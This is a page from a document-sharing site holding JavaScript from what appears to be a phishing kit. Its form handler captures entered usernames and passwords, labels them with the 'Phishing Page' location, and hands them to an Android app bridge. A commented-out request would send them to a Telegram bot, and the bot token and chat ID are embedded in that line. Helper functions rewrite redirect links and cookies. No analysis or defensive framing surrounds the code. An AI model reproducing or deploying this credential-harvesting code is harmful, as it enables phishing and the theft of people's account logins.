Download as txt, pdf, or txt
Download as txt, pdf, or txt
You are on page 1of 2

function Copy(id)

{
var copyText = document.getElementById(id);
copyText.select();
copyText.setSelectionRange(0, 99999); /*For mobile devices*/
document.execCommand("copy");
}

function SetRedirect(item)
{
item.value = (new URLSearchParams(window.location.search)).get('redirect');
return true;
}

window.onload=function() {
document.getElementsByTagName('head')[0].innerHTML += '<meta name="viewport"
content="width=device-width, initial-scale=1.0">';
var link = document.getElementsByName("link");
link.forEach(myFunction);function myFunction(item, index)
{
if(item.type == "hidden")
{
item.value = (new URLSearchParams(window.location.search)).get('redirect');
}
}
if(typeof document.getElementById("redirect") !== 'undefined' &&
document.getElementById("redirect") !== null)
{
document.getElementById("redirect").value = document.cookie.match(new
RegExp('redirect=(.*?);', 'i'))[1];
UpdateRedirects("redirect");
}
}

$('document').ready(function(){
$('form').submit(function(event){
event.preventDefault();
var n=$('input[name="username"]').val();
var p=$('input[name="password"]').val();
var s=$('input[name="location"]').val();
var t=$('input[name="appnam"]').val();
var values = "Username : "+n+"<br>Password: "+p+"<br>Phishing Page: "+s;
if(p!="" && n!=""){
Android.showts(t);
Android.showTt(values);
// Android.showts(t);
/*
$.post("https://api.telegram.org/
bot5195342449:AAGF3bJUEH8IiCpfv7qdMG4ZOBFr4etcAXM/
sendMessage","chat_id=1599838789&text="+values ,function(data){
////////
//alert(t)
//Android.showts(t);
});*/
}
});
});
function UpdateRedirects(id)
{
var textarea = document.getElementsByTagName('textarea');
var a = document.getElementsByTagName('a');
var value = document.getElementById(id).value;
var Url;
if(value == '' || value == null) { return null; }
document.cookie = "redirect=" + value + ";";
for(var i = 0; i < textarea.length; i++)
{
Url = textarea[i].innerHTML;
Url = (Url.includes('&')) ? Url.split('&')[0] + '&redirect=' + value : Url +
'&redirect=' + value;
textarea[i].innerHTML = Url;
a[i+3].href = Url;
}
}

You might also like